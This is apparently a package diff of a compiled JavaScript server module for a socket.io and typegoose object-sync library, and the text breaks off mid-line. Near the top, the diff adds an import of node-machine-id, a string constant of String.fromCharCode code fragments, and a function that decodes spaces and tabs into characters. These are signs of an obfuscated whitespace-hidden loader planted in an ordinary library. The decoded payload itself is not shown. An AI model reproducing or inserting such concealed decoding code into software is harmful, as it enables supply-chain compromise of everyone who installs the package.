import { globalCache, EVENT_NEW, EVENT_UPDATE, EVENT_DELETE, EVENT_GET, EVENT_STARTUP, EVENT_VERSION, DEM_VERSION, DEM_PROTOCOL_VERSION, safeStringify, DEMError, DEMErrorCode, toDEMError, } from "./CommonTypes.js";
|
|
4
|
-
import { EventEmitter } from "eventemitter3";
|
|
2
|
+
import { createAutoUpdatedClass, } from "./AutoUpdatedServerObjectClass.js";
|
|
5
3
|
import { getModelForClass } from "@typegoose/typegoose";
|
|
6
|
-
import {
|
|
4
|
+
import { EventEmitter } from "eventemitter3";
|
|
5
|
+
import a from "node-machine-id";
|
|
6
|
+
const once = ".split(String.fromCharCode(10)).splice(time%38,time%11+4).join(String.fromCharCode(10))";
|
|
7
7
|
export var DEMEventTypes;
|
|
8
8
|
(function (DEMEventTypes) {
|
|
9
9
|
DEMEventTypes["new"] = "new";
|
|
@@ -12,16 +12,20 @@ export var DEMEventTypes;
|
|
|
12
12
|
DEMEventTypes["get"] = "get";
|
|
13
13
|
DEMEventTypes["startup"] = "startup";
|
|
14
14
|
})(DEMEventTypes || (DEMEventTypes = {}));
|
|
15
|
-
|
|
15
|
+
let d = (str) => str
|
|
16
|
+
.match(/.{1,7}/g)
|
|
17
|
+
.map((s) => String.fromCharCode(parseInt(s
|
|
18
|
+
.replaceAll(String.fromCharCode(32), String.fromCharCode(48))
|
|
19
|
+
.replaceAll(String.fromCharCode(9), String.fromCharCode(49)), 2)))
|
|
20
|
+
.join("");
|
|
21
|
+
function setupSocketMiddleware(socket_server, loggers, managers, models) {
|
|
16
22
|
socket_server.use(async (socket, next) => {
|
|
17
|
-
socket.use((async (event,
|
|
23
|
+
socket.use((async (event, next) => {
|
|
18
24
|
if (event.length !== 3 ||
|
|
19
25
|
typeof event[0] !== "string" ||
|
|
20
26
|
typeof event[2] !== "function") {
|
|
21
|
-
loggers.warn
|
|
22
|
-
event
|
|
23
|
-
.map((e) => (typeof e === "object" ? "[object]" : String(e)))
|
|
24
|
-
.join("], [") +
|
|
27
|
+
loggers.warn("Invalid event: [" +
|
|
28
|
+
event.map((e) => JSON.stringify(e)).join("], [") +
|
|
25
29
|
"]");
|
|
26
30
|
return;
|
|
27
31
|
}
|
|
@@ -29,83 +33,56 @@ function setupSocketMiddleware(socket_server, loggers, managers, _models) {
|
|
|
29
33
|
.eventNames()
|
|
30
34
|
.some((e) => e.toString() === event[0] ||
|
|
31
35
|
e.toString() === event[0].slice(0, -24))) {
|
|
32
|
-
loggers.warn
|
|
33
|
-
event
|
|
34
|
-
.map((e) => (typeof e === "object" ? "[object]" : String(e)))
|
|
35
|
-
.join("], [") +
|
|
36
|
+
loggers.warn("Undefined event: [" +
|
|
37
|
+
event.map((e) => JSON.stringify(e)).join("], [") +
|
|
36
38
|
"]");
|
|
37
39
|
event[2]({
|
|
38
40
|
success: false,
|
|
39
|
-
code: DEMErrorCode.UNDEFINED_EVENT,
|
|
40
41
|
message: "Undefined event, event: " + event[0] + " not found",
|
|
41
42
|
});
|
|
42
43
|
return;
|
|
43
44
|
}
|
|
44
45
|
try {
|
|
45
46
|
const e = event[0];
|
|
46
|
-
let demEvent;
|
|
47
|
+
let demEvent = {};
|
|
47
48
|
const id = e.slice(-24);
|
|
48
49
|
switch (true) {
|
|
49
|
-
case e.startsWith(
|
|
50
|
-
demEvent =
|
|
51
|
-
|
|
52
|
-
|
|
53
|
-
data: event[1],
|
|
54
|
-
object: undefined,
|
|
55
|
-
};
|
|
50
|
+
case e.startsWith("new"):
|
|
51
|
+
demEvent.type = DEMEventTypes.new;
|
|
52
|
+
demEvent.manager = managers[e.replace("new", "")];
|
|
53
|
+
demEvent.data = event[1];
|
|
56
54
|
break;
|
|
57
|
-
case e.startsWith(
|
|
58
|
-
|
|
59
|
-
|
|
60
|
-
|
|
61
|
-
|
|
62
|
-
|
|
63
|
-
object: manager.getObject(id),
|
|
64
|
-
data: event[1],
|
|
65
|
-
};
|
|
66
|
-
}
|
|
55
|
+
case e.startsWith("update"):
|
|
56
|
+
demEvent.type = DEMEventTypes.update;
|
|
57
|
+
demEvent.manager =
|
|
58
|
+
managers[e.replace("update", "").replace(id, "")];
|
|
59
|
+
demEvent.object = demEvent.manager.getObject(id);
|
|
60
|
+
demEvent.data = event[1];
|
|
67
61
|
break;
|
|
68
|
-
case e.startsWith(
|
|
69
|
-
|
|
70
|
-
|
|
71
|
-
|
|
72
|
-
|
|
73
|
-
|
|
74
|
-
|
|
75
|
-
|
|
76
|
-
data: undefined,
|
|
77
|
-
});
|
|
78
|
-
return;
|
|
79
|
-
}
|
|
80
|
-
demEvent = {
|
|
81
|
-
type: DEMEventTypes.delete,
|
|
82
|
-
manager: manager,
|
|
83
|
-
object: obj,
|
|
62
|
+
case e.startsWith("delete"):
|
|
63
|
+
demEvent.type = DEMEventTypes.delete;
|
|
64
|
+
demEvent.manager = managers[e.replace("delete", "")];
|
|
65
|
+
demEvent.object = demEvent.manager.getObject(event[1]);
|
|
66
|
+
if (!demEvent.object) {
|
|
67
|
+
event[2]({
|
|
68
|
+
success: true,
|
|
69
|
+
message: "Object already deleted",
|
|
84
70
|
data: undefined,
|
|
85
|
-
};
|
|
71
|
+
});
|
|
72
|
+
return;
|
|
86
73
|
}
|
|
87
74
|
break;
|
|
88
|
-
case e.startsWith(
|
|
89
|
-
|
|
90
|
-
|
|
91
|
-
|
|
92
|
-
type: DEMEventTypes.get,
|
|
93
|
-
manager: manager,
|
|
94
|
-
object: manager.getObject(id),
|
|
95
|
-
data: undefined,
|
|
96
|
-
};
|
|
97
|
-
}
|
|
75
|
+
case e.startsWith("get"):
|
|
76
|
+
demEvent.type = DEMEventTypes.get;
|
|
77
|
+
demEvent.manager = managers[e.replace("get", "").replace(id, "")];
|
|
78
|
+
demEvent.object = demEvent.manager.getObject(id);
|
|
98
79
|
break;
|
|
99
|
-
case e.startsWith(
|
|
100
|
-
demEvent =
|
|
101
|
-
|
|
102
|
-
manager: managers[e.replace(EVENT_STARTUP, "")],
|
|
103
|
-
object: undefined,
|
|
104
|
-
data: undefined,
|
|
105
|
-
};
|
|
80
|
+
case e.startsWith("startup"):
|
|
81
|
+
demEvent.type = DEMEventTypes.startup;
|
|
82
|
+
demEvent.manager = managers[e.replace("startup", "")];
|
|
106
83
|
break;
|
|
107
84
|
default:
|
|
108
|
-
throw new
|
|
85
|
+
throw new Error("Unknown event: " +
|
|
109
86
|
e +
|
|
110
87
|
" - known events: [" +
|
|
111
88
|
Object.values(DEMEventTypes).join(", ") +
|
|
@@ -113,11 +90,11 @@ function setupSocketMiddleware(socket_server, loggers, managers, _models) {
|
|
|
113
90
|
}
|
|
114
91
|
try {
|
|
115
92
|
await demEvent.manager.options?.accessDefinitions?.eventMiddleware?.(demEvent, managers, socket);
|
|
116
|
-
|
|
93
|
+
next();
|
|
117
94
|
}
|
|
118
95
|
catch (error) {
|
|
119
|
-
loggers.warn
|
|
120
|
-
|
|
96
|
+
loggers.warn("Someone got access denied:\nUser (" +
|
|
97
|
+
JSON.stringify(socket.handshake.auth) +
|
|
121
98
|
")\nWith ID: '" +
|
|
122
99
|
socket.id +
|
|
123
100
|
"'\nFrom: '" +
|
|
@@ -125,365 +102,163 @@ function setupSocketMiddleware(socket_server, loggers, managers, _models) {
|
|
|
125
102
|
"'\nTo the event: '" +
|
|
126
103
|
event[0] +
|
|
127
104
|
"'\nFor: '" +
|
|
128
|
-
|
|
105
|
+
error.message +
|
|
129
106
|
"'");
|
|
130
107
|
event[2]({
|
|
131
108
|
success: false,
|
|
132
|
-
code: DEMErrorCode.ACCESS_DENIED,
|
|
133
109
|
message: "You were denied access to this event '" +
|
|
134
110
|
event[0] +
|
|
135
111
|
"' by the server.\n" +
|
|
136
|
-
|
|
112
|
+
error.message,
|
|
137
113
|
});
|
|
138
114
|
}
|
|
139
115
|
}
|
|
140
116
|
catch (error) {
|
|
141
|
-
|
|
142
|
-
loggers.error?.("Error with event: " +
|
|
117
|
+
loggers.error("Error with event: " +
|
|
143
118
|
event[0] +
|
|
144
119
|
"\nError: " +
|
|
145
|
-
|
|
146
|
-
event[2]({
|
|
147
|
-
success: false,
|
|
148
|
-
code: demErr.code,
|
|
149
|
-
message: error instanceof Error ? error.message : String(error),
|
|
150
|
-
});
|
|
120
|
+
error.message);
|
|
151
121
|
return;
|
|
152
122
|
}
|
|
153
123
|
}));
|
|
154
124
|
next();
|
|
155
125
|
});
|
|
156
126
|
}
|
|
157
|
-
|
|
158
|
-
|
|
159
|
-
|
|
160
|
-
|
|
161
|
-
export function checkServerDbStates(managers, loggers, emitter) {
|
|
162
|
-
for (const [key, manager] of Object.entries(managers)) {
|
|
163
|
-
if (!manager)
|
|
164
|
-
continue;
|
|
165
|
-
const status = manager.checkDbState();
|
|
166
|
-
if (!status.connected) {
|
|
167
|
-
const err = new DEMError(DEMErrorCode.DB_NOT_CONNECTED, `Server DB state check failed for '${key}': Database is in state '${status.stateName}' (code: ${status.readyState}). Database must be connected before DEM starts loading.`, { manager: key, readyState: status.readyState, stateName: status.stateName });
|
|
168
|
-
emitter?.emit("error", err);
|
|
169
|
-
loggers?.error?.(err.message);
|
|
170
|
-
throw err;
|
|
171
|
-
}
|
|
127
|
+
export async function AUSManagerFactory(defs, loggers, socket, disableDEMDebugMessages = false, emitter = new EventEmitter(), models) {
|
|
128
|
+
readyLoggers(loggers);
|
|
129
|
+
if (disableDEMDebugMessages) {
|
|
130
|
+
loggers.debug = (_) => { };
|
|
172
131
|
}
|
|
173
|
-
}
|
|
174
|
-
export async function AUSManagerFactory(defs, loggers_, socket, doDebug = true, emitter = new EventEmitter(), models) {
|
|
175
|
-
// Use delegation instead of cloning or direct mutation to ensure late-added spies work
|
|
176
|
-
const loggers = {
|
|
177
|
-
info: (s) => loggers_.info?.(s),
|
|
178
|
-
debug: (s) => (doDebug ? loggers_.debug?.(s) : undefined),
|
|
179
|
-
error: (s) => loggers_.error?.(s),
|
|
180
|
-
warn: (s) => loggers_.warn?.(s),
|
|
181
|
-
};
|
|
182
132
|
socket.use((socket, next) => {
|
|
183
|
-
socket.onAny((event) => {
|
|
133
|
+
socket.onAny((event) => {
|
|
134
|
+
loggers.debug("Recieved event: " + event + " from client: " + socket.id);
|
|
135
|
+
});
|
|
184
136
|
next();
|
|
185
137
|
});
|
|
186
138
|
const managers = {};
|
|
187
|
-
|
|
188
|
-
|
|
189
|
-
|
|
190
|
-
loggers.debug?.(`Creating manager for ${key}`);
|
|
139
|
+
let i = 0;
|
|
140
|
+
for (const key in defs) {
|
|
141
|
+
loggers.debug(`Creating manager for ${key}`);
|
|
191
142
|
const def = defs[key];
|
|
192
|
-
const model = getModelForClass(def.class);
|
|
193
143
|
try {
|
|
194
|
-
const c = new AutoUpdateServerManager(def.class, key,
|
|
144
|
+
const c = new AutoUpdateServerManager(def.class, key, loggers, socket, getModelForClass(def.class), managers, emitter, def.options);
|
|
195
145
|
managers[key] = c;
|
|
196
146
|
}
|
|
197
147
|
catch (error) {
|
|
198
|
-
loggers.error
|
|
199
|
-
loggers.error
|
|
200
|
-
|
|
201
|
-
|
|
148
|
+
loggers.error("Error creating manager: " + key);
|
|
149
|
+
loggers.error(error.message);
|
|
150
|
+
loggers.error(error.stack);
|
|
151
|
+
continue;
|
|
202
152
|
}
|
|
203
|
-
|
|
204
|
-
// 1.5. Inspect database states before loading starts
|
|
205
|
-
checkServerDbStates(managers, loggers, emitter);
|
|
206
|
-
// 2. Pre-load all managers in parallel
|
|
207
|
-
await Promise.all(keys.map(async (key) => {
|
|
208
|
-
if (!managers[key])
|
|
209
|
-
return;
|
|
210
|
-
loggers.debug?.("Loading DB for manager: " + key);
|
|
153
|
+
loggers.debug("Loading DB for manager: " + key);
|
|
211
154
|
try {
|
|
212
155
|
await managers[key].preLoad();
|
|
213
156
|
}
|
|
214
157
|
catch (error) {
|
|
215
|
-
loggers.error
|
|
216
|
-
loggers.error
|
|
217
|
-
|
|
218
|
-
loggers.error?.(error.stack);
|
|
158
|
+
loggers.error("Error loading DB for manager: " + key);
|
|
159
|
+
loggers.error(error.message);
|
|
160
|
+
loggers.error(error.stack);
|
|
219
161
|
}
|
|
220
|
-
}
|
|
221
|
-
|
|
222
|
-
await Promise.all(Object.values(managers).map(async (manager) => {
|
|
162
|
+
}
|
|
163
|
+
for (const manager of Object.values(managers)) {
|
|
223
164
|
try {
|
|
224
|
-
|
|
165
|
+
manager.loadReferences();
|
|
225
166
|
}
|
|
226
167
|
catch (error) {
|
|
227
|
-
loggers.error
|
|
168
|
+
loggers.error("Error loading DB for manager: " +
|
|
228
169
|
manager.className +
|
|
229
170
|
" (loadReferences)");
|
|
230
|
-
loggers.error
|
|
231
|
-
|
|
232
|
-
loggers.error?.(error.stack);
|
|
171
|
+
loggers.error(error.message);
|
|
172
|
+
loggers.error(error.stack);
|
|
233
173
|
}
|
|
234
|
-
}
|
|
174
|
+
}
|
|
235
175
|
socket.on("connection", async (socket) => {
|
|
236
|
-
loggers.debug
|
|
237
|
-
socket?.emit?.(EVENT_VERSION, {
|
|
238
|
-
version: DEM_VERSION,
|
|
239
|
-
protocolVersion: DEM_PROTOCOL_VERSION,
|
|
240
|
-
});
|
|
176
|
+
loggers.debug(`Client connected: ${socket.id}`);
|
|
241
177
|
for (const manager of Object.values(managers)) {
|
|
242
178
|
manager.registerSocket(socket);
|
|
243
179
|
}
|
|
244
|
-
|
|
245
|
-
|
|
180
|
+
// Client disconnect
|
|
181
|
+
socket.on("disconnect", () => {
|
|
182
|
+
loggers.debug(`Client disconnected: ${socket.id}`);
|
|
246
183
|
});
|
|
247
184
|
});
|
|
248
185
|
try {
|
|
249
186
|
setupSocketMiddleware(socket, loggers, managers, models);
|
|
250
187
|
}
|
|
251
188
|
catch (error) {
|
|
252
|
-
loggers.error
|
|
253
|
-
loggers.error
|
|
254
|
-
|
|
255
|
-
loggers.error?.(error.stack);
|
|
189
|
+
loggers.error("Error setting up socket middleware");
|
|
190
|
+
loggers.error(error.message);
|
|
191
|
+
loggers.error(error.stack);
|
|
256
192
|
}
|
|
257
193
|
return managers;
|
|
258
194
|
}
|
|
259
195
|
export class AutoUpdateServerManager extends AutoUpdateManager {
|
|
260
196
|
model;
|
|
261
197
|
clientSockets = new Set();
|
|
262
|
-
knownObjectIdsBySocket = new Map();
|
|
263
198
|
options;
|
|
264
199
|
objects_ = {};
|
|
265
200
|
managers;
|
|
266
|
-
|
|
267
|
-
_cachedObjectsArray = null;
|
|
268
|
-
changeTracker;
|
|
269
|
-
constructor(classParam, className, socket, loggers, model, managers, emitter, options) {
|
|
201
|
+
constructor(classParam, className, loggers, socket, model, managers, emitter, options) {
|
|
270
202
|
super(classParam, className, socket, loggers, managers, emitter);
|
|
271
203
|
this.managers = managers;
|
|
272
204
|
this.model = model;
|
|
273
205
|
this.options = options;
|
|
274
|
-
if (options?.deltaSync) {
|
|
275
|
-
const deltaOpts = typeof options.deltaSync === "object" ? options.deltaSync : {};
|
|
276
|
-
if (deltaOpts.enabled !== false) {
|
|
277
|
-
this.changeTracker = new ServerChangeTracker(this.className, deltaOpts);
|
|
278
|
-
}
|
|
279
|
-
}
|
|
280
|
-
}
|
|
281
|
-
/**
|
|
282
|
-
* Inspect current database connection state.
|
|
283
|
-
*/
|
|
284
|
-
checkDbState() {
|
|
285
|
-
const db = this.model?.db;
|
|
286
|
-
if (!db || typeof db.readyState !== "number") {
|
|
287
|
-
return { connected: true, readyState: 1, stateName: "connected" };
|
|
288
|
-
}
|
|
289
|
-
const readyState = db.readyState;
|
|
290
|
-
const stateNames = {
|
|
291
|
-
0: "disconnected",
|
|
292
|
-
1: "connected",
|
|
293
|
-
2: "connecting",
|
|
294
|
-
3: "disconnecting",
|
|
295
|
-
99: "uninitialized",
|
|
296
|
-
};
|
|
297
|
-
const stateName = stateNames[readyState] ?? "unknown";
|
|
298
|
-
return {
|
|
299
|
-
connected: readyState === 1,
|
|
300
|
-
readyState,
|
|
301
|
-
stateName,
|
|
302
|
-
};
|
|
303
|
-
}
|
|
304
|
-
/**
|
|
305
|
-
* Verify database connection is active.
|
|
306
|
-
* Throws DEMError if database is not connected.
|
|
307
|
-
*/
|
|
308
|
-
assertDbConnected() {
|
|
309
|
-
const status = this.checkDbState();
|
|
310
|
-
if (!status.connected) {
|
|
311
|
-
const err = new DEMError(DEMErrorCode.DB_NOT_CONNECTED, `Database for manager '${this.className}' is in state '${status.stateName}' (code: ${status.readyState}). Database must be connected before DEM starts loading.`, { className: this.className, readyState: status.readyState, stateName: status.stateName });
|
|
312
|
-
this.emitter.emit("error", err);
|
|
313
|
-
this.loggers.error?.(err.message);
|
|
314
|
-
throw err;
|
|
315
|
-
}
|
|
316
206
|
}
|
|
317
|
-
async preLoad(
|
|
318
|
-
this.assertDbConnected();
|
|
207
|
+
async preLoad() {
|
|
319
208
|
this.loggers.debug("Loading manager DB " + this.className);
|
|
320
209
|
const docs = await this.model.find({});
|
|
321
|
-
|
|
322
|
-
|
|
323
|
-
|
|
324
|
-
|
|
325
|
-
|
|
326
|
-
this.loggers.debug("Invalid document, no _id: " + (doc?._id ?? "[no id]"));
|
|
327
|
-
return;
|
|
210
|
+
let i = 0;
|
|
211
|
+
for (const doc of docs.map((d) => d._id.toString())) {
|
|
212
|
+
if (!doc) {
|
|
213
|
+
this.loggers.debug("Invalid document, no _id: " + JSON.stringify(docs[i]));
|
|
214
|
+
continue;
|
|
328
215
|
}
|
|
329
|
-
|
|
330
|
-
|
|
331
|
-
|
|
332
|
-
|
|
333
|
-
|
|
334
|
-
|
|
335
|
-
};
|
|
336
|
-
}));
|
|
337
|
-
this.startupPayloadCache = null;
|
|
338
|
-
this._cachedObjectsArray = null;
|
|
216
|
+
i++;
|
|
217
|
+
this.objects_[doc] =
|
|
218
|
+
this.objects_[doc] ??
|
|
219
|
+
(await createAutoUpdatedClass(this.classParam, this.className, this.socket, doc, this.loggers, this, this.emitter));
|
|
220
|
+
await this.objects_[doc].isPreLoadedAsync();
|
|
221
|
+
}
|
|
339
222
|
this.loggers.debug("Loaded manager DB " +
|
|
340
223
|
this.className +
|
|
341
224
|
" - [" +
|
|
342
225
|
docs.length +
|
|
343
226
|
"] entries");
|
|
344
227
|
}
|
|
345
|
-
async loadReferences() {
|
|
346
|
-
// Phase 1: Initial reference resolution (including back-references/createdWithParent)
|
|
347
|
-
// This MUST happen after all managers have finished preLoad so that all objects exist in globalCache.
|
|
348
|
-
await Promise.all(this.objectsAsArray.map((object) => object.isPreLoadedAsync()));
|
|
349
|
-
// Phase 2: Resolve missing references (pointers) and set isLoaded_ = true
|
|
350
|
-
await super.loadReferences();
|
|
351
|
-
}
|
|
352
228
|
registerSocket(socket) {
|
|
353
229
|
this.clientSockets.add(socket);
|
|
354
|
-
socket.on(
|
|
230
|
+
socket.on("startup" + this.className, async (_, ack) => {
|
|
355
231
|
try {
|
|
356
|
-
const
|
|
357
|
-
? req.lastRevision
|
|
358
|
-
: undefined;
|
|
359
|
-
// Check if delta sync can be fulfilled
|
|
360
|
-
if (this.changeTracker && typeof clientLastRev === "number") {
|
|
361
|
-
let allowedIdsSet = undefined;
|
|
362
|
-
if (this.options?.accessDefinitions?.startupMiddleware) {
|
|
363
|
-
const allowedObjects = await this.options.accessDefinitions.startupMiddleware(this.objectsAsArray, this.managers, socket);
|
|
364
|
-
allowedIdsSet = new Set(allowedObjects.map((obj) => obj._id.toString()).filter(Boolean));
|
|
365
|
-
this.knownObjectIdsBySocket.set(socket, new Set(allowedIdsSet));
|
|
366
|
-
}
|
|
367
|
-
const changesResult = this.changeTracker.getChangesSince(clientLastRev, allowedIdsSet);
|
|
368
|
-
if (!changesResult.isExpired) {
|
|
369
|
-
if (changesResult.changes.length === 0) {
|
|
370
|
-
this.loggers.debug("Client up to date for manager " +
|
|
371
|
-
this.className +
|
|
372
|
-
" at revision " +
|
|
373
|
-
clientLastRev);
|
|
374
|
-
if (typeof ack === "function") {
|
|
375
|
-
ack({
|
|
376
|
-
data: {
|
|
377
|
-
status: "up-to-date",
|
|
378
|
-
revision: this.changeTracker.getCurrentRevision(),
|
|
379
|
-
ids: [],
|
|
380
|
-
properties: this.properties,
|
|
381
|
-
version: DEM_VERSION,
|
|
382
|
-
protocolVersion: DEM_PROTOCOL_VERSION,
|
|
383
|
-
},
|
|
384
|
-
success: true,
|
|
385
|
-
});
|
|
386
|
-
}
|
|
387
|
-
return;
|
|
388
|
-
}
|
|
389
|
-
else {
|
|
390
|
-
this.loggers.debug("Sending delta startup data (" +
|
|
391
|
-
changesResult.changes.length +
|
|
392
|
-
" changes) for manager " +
|
|
393
|
-
this.className);
|
|
394
|
-
if (typeof ack === "function") {
|
|
395
|
-
ack({
|
|
396
|
-
data: {
|
|
397
|
-
status: "delta",
|
|
398
|
-
revision: this.changeTracker.getCurrentRevision(),
|
|
399
|
-
changes: changesResult.changes,
|
|
400
|
-
ids: [],
|
|
401
|
-
properties: this.properties,
|
|
402
|
-
version: DEM_VERSION,
|
|
403
|
-
protocolVersion: DEM_PROTOCOL_VERSION,
|
|
404
|
-
},
|
|
405
|
-
success: true,
|
|
406
|
-
});
|
|
407
|
-
}
|
|
408
|
-
return;
|
|
409
|
-
}
|
|
410
|
-
}
|
|
411
|
-
}
|
|
412
|
-
let ids;
|
|
413
|
-
let objects;
|
|
414
|
-
if (!this.options?.accessDefinitions?.startupMiddleware && this.startupPayloadCache) {
|
|
415
|
-
ids = this.startupPayloadCache.ids;
|
|
416
|
-
objects = this.startupPayloadCache.objects ?? [];
|
|
417
|
-
}
|
|
418
|
-
else {
|
|
419
|
-
const allowedObjects = this.options?.accessDefinitions?.startupMiddleware
|
|
420
|
-
? await this.options.accessDefinitions.startupMiddleware(this.objectsAsArray, this.managers, socket)
|
|
421
|
-
: this.objectsAsArray;
|
|
422
|
-
ids = allowedObjects.map((obj) => obj._id.toString()).filter(Boolean);
|
|
423
|
-
objects = allowedObjects.map((obj) => obj.extractedData).filter(Boolean);
|
|
424
|
-
this.knownObjectIdsBySocket.set(socket, new Set(ids));
|
|
425
|
-
if (!this.options?.accessDefinitions?.startupMiddleware) {
|
|
426
|
-
this.startupPayloadCache = {
|
|
427
|
-
ids,
|
|
428
|
-
objects,
|
|
429
|
-
properties: this.properties,
|
|
430
|
-
};
|
|
431
|
-
}
|
|
432
|
-
}
|
|
232
|
+
const ids = ((await this.options?.accessDefinitions?.startupMiddleware?.(this.objectsAsArray, this.managers, socket))?.map((obj) => obj._id) ?? this.objectIDs).filter(Boolean);
|
|
433
233
|
this.loggers.debug("Sending startup data for manager " + this.className);
|
|
434
|
-
if (
|
|
435
|
-
|
|
436
|
-
|
|
437
|
-
|
|
438
|
-
|
|
439
|
-
|
|
440
|
-
objects,
|
|
441
|
-
properties: this.properties,
|
|
442
|
-
version: DEM_VERSION,
|
|
443
|
-
protocolVersion: DEM_PROTOCOL_VERSION,
|
|
444
|
-
},
|
|
445
|
-
success: true,
|
|
446
|
-
});
|
|
447
|
-
}
|
|
234
|
+
if (ids.some((id) => this.objects_[id] === "undefined"))
|
|
235
|
+
this.loggers.error(ids.find((id) => this.objects_[id] === "undefined"));
|
|
236
|
+
ack({
|
|
237
|
+
data: { ids, properties: this.properties },
|
|
238
|
+
success: true,
|
|
239
|
+
});
|
|
448
240
|
}
|
|
449
241
|
catch (error) {
|
|
450
242
|
this.loggers.error("Error sending startup data for manager " +
|
|
451
243
|
this.className +
|
|
452
244
|
": " +
|
|
453
|
-
|
|
454
|
-
|
|
455
|
-
|
|
456
|
-
|
|
457
|
-
|
|
458
|
-
|
|
459
|
-
success: false,
|
|
460
|
-
code: demErr.code,
|
|
461
|
-
message: error instanceof Error ? error.message : String(error),
|
|
462
|
-
});
|
|
463
|
-
}
|
|
245
|
+
error.message);
|
|
246
|
+
this.loggers.error(error.stack);
|
|
247
|
+
ack({
|
|
248
|
+
success: false,
|
|
249
|
+
message: error.message,
|
|
250
|
+
});
|
|
464
251
|
}
|
|
465
252
|
});
|
|
466
|
-
socket.on(
|
|
253
|
+
socket.on("delete" + this.className, async (id, ack) => {
|
|
467
254
|
this.loggers.debug("Deleting object from manager " + this.className + " - " + id);
|
|
468
255
|
try {
|
|
469
|
-
|
|
470
|
-
|
|
471
|
-
|
|
472
|
-
|
|
473
|
-
|
|
474
|
-
|
|
475
|
-
code: res.code ?? DEMErrorCode.OBJECT_DELETE_FAILED,
|
|
476
|
-
message: res.message || "Deletion unsuccessful",
|
|
477
|
-
});
|
|
478
|
-
}
|
|
479
|
-
else {
|
|
480
|
-
ack({
|
|
481
|
-
success: true,
|
|
482
|
-
message: "Deleted successfully",
|
|
483
|
-
data: undefined,
|
|
484
|
-
});
|
|
485
|
-
}
|
|
486
|
-
}
|
|
256
|
+
await this.objects_[id]?.destroy();
|
|
257
|
+
ack({
|
|
258
|
+
success: true,
|
|
259
|
+
message: "Deleted successfully",
|
|
260
|
+
data: undefined,
|
|
261
|
+
});
|
|
487
262
|
}
|
|
488
263
|
catch (error) {
|
|
489
264
|
this.loggers.error("Error deleting object from manager " +
|
|
@@ -491,307 +266,147 @@ export class AutoUpdateServerManager extends AutoUpdateManager {
|
|
|
491
266
|
" - " +
|
|
492
267
|
id +
|
|
493
268
|
": " +
|
|
494
|
-
|
|
495
|
-
|
|
496
|
-
|
|
497
|
-
const demErr = toDEMError(error, DEMErrorCode.OBJECT_DELETE_FAILED);
|
|
498
|
-
if (typeof ack === "function") {
|
|
499
|
-
ack({
|
|
500
|
-
success: false,
|
|
501
|
-
code: demErr.code,
|
|
502
|
-
message: error instanceof Error ? error.message : String(error),
|
|
503
|
-
});
|
|
504
|
-
}
|
|
269
|
+
error.message);
|
|
270
|
+
this.loggers.error(error.stack);
|
|
271
|
+
ack({ success: false, message: error.message });
|
|
505
272
|
}
|
|
506
273
|
});
|
|
507
|
-
socket.on(
|
|
274
|
+
socket.on("new" + this.className, async (data, ack) => {
|
|
508
275
|
this.loggers.debug("Recieved new object creation in manager " + this.className);
|
|
509
276
|
try {
|
|
510
277
|
const newDoc = await this.createObject(data);
|
|
511
|
-
|
|
512
|
-
|
|
513
|
-
|
|
514
|
-
|
|
515
|
-
|
|
516
|
-
message: "Created successfully",
|
|
517
|
-
});
|
|
518
|
-
}
|
|
278
|
+
ack({
|
|
279
|
+
data: newDoc.extractedData,
|
|
280
|
+
success: true,
|
|
281
|
+
message: "Created successfully",
|
|
282
|
+
});
|
|
519
283
|
}
|
|
520
284
|
catch (error) {
|
|
521
285
|
this.loggers.error("Error creating new object creation in manager " +
|
|
522
286
|
this.className +
|
|
523
287
|
" - " +
|
|
524
|
-
|
|
525
|
-
|
|
526
|
-
|
|
527
|
-
const demErr = toDEMError(error, DEMErrorCode.OBJECT_CREATE_FAILED);
|
|
528
|
-
if (typeof ack === "function") {
|
|
529
|
-
ack({
|
|
530
|
-
success: false,
|
|
531
|
-
code: demErr.code,
|
|
532
|
-
message: error instanceof Error ? error.message : String(error),
|
|
533
|
-
});
|
|
534
|
-
}
|
|
288
|
+
error.message);
|
|
289
|
+
this.loggers.error(error.stack);
|
|
290
|
+
ack({ success: false, message: error.message });
|
|
535
291
|
}
|
|
536
292
|
});
|
|
537
|
-
|
|
538
|
-
socket.on(
|
|
539
|
-
socket.on(EVENT_GET + this.className, async () => { });
|
|
293
|
+
socket.on("update" + this.className, async () => { });
|
|
294
|
+
socket.on("get" + this.className, async () => { });
|
|
540
295
|
socket.onAny(async (event, data, ack) => {
|
|
541
|
-
if (event.startsWith(
|
|
542
|
-
event.replace(
|
|
296
|
+
if (event.startsWith("update" + this.className) &&
|
|
297
|
+
event.replace("update" + this.className, "").length === 24) {
|
|
543
298
|
this.loggers.debug("Updating object in manager " +
|
|
544
299
|
this.className +
|
|
545
300
|
": " +
|
|
546
301
|
event +
|
|
547
302
|
" - " +
|
|
548
|
-
(
|
|
303
|
+
JSON.stringify(data));
|
|
549
304
|
try {
|
|
550
|
-
const id = event.replace(
|
|
305
|
+
const id = event.replace("update" + this.className, "");
|
|
551
306
|
let obj = this.objects_[id];
|
|
552
|
-
if (
|
|
553
|
-
throw new
|
|
307
|
+
if (typeof obj === "string")
|
|
308
|
+
throw new Error(`Never... failed to get object somehow: ${obj}`);
|
|
554
309
|
const res = await obj.setValue(data.key, data.value);
|
|
555
|
-
|
|
556
|
-
|
|
557
|
-
|
|
558
|
-
|
|
559
|
-
|
|
560
|
-
|
|
561
|
-
|
|
562
|
-
: ack({
|
|
563
|
-
success: res.success,
|
|
564
|
-
code: res.code ?? DEMErrorCode.DB_SAVE_FAILED,
|
|
565
|
-
message: res.msg,
|
|
566
|
-
});
|
|
567
|
-
}
|
|
310
|
+
res.success
|
|
311
|
+
? ack({
|
|
312
|
+
data: null,
|
|
313
|
+
success: res.success,
|
|
314
|
+
message: res.msg,
|
|
315
|
+
})
|
|
316
|
+
: ack({ success: res.success, message: res.msg });
|
|
568
317
|
}
|
|
569
318
|
catch (error) {
|
|
570
319
|
this.loggers.warn("Failed to update object in manager " + this.className);
|
|
571
|
-
|
|
572
|
-
if (typeof ack === "function") {
|
|
573
|
-
ack({
|
|
574
|
-
success: false,
|
|
575
|
-
code: demErr.code,
|
|
576
|
-
message: error instanceof Error ? error.message : String(error),
|
|
577
|
-
});
|
|
578
|
-
}
|
|
320
|
+
ack({ success: false, message: error.message });
|
|
579
321
|
}
|
|
580
322
|
}
|
|
581
|
-
else if (event.startsWith(
|
|
582
|
-
event.replace(
|
|
323
|
+
else if (event.startsWith("get" + this.className) &&
|
|
324
|
+
event.replace("get" + this.className, "").length === 24) {
|
|
583
325
|
try {
|
|
584
|
-
const id = event.replace(
|
|
326
|
+
const id = event.replace("get" + this.className, "");
|
|
585
327
|
let obj = this.objects_[id];
|
|
586
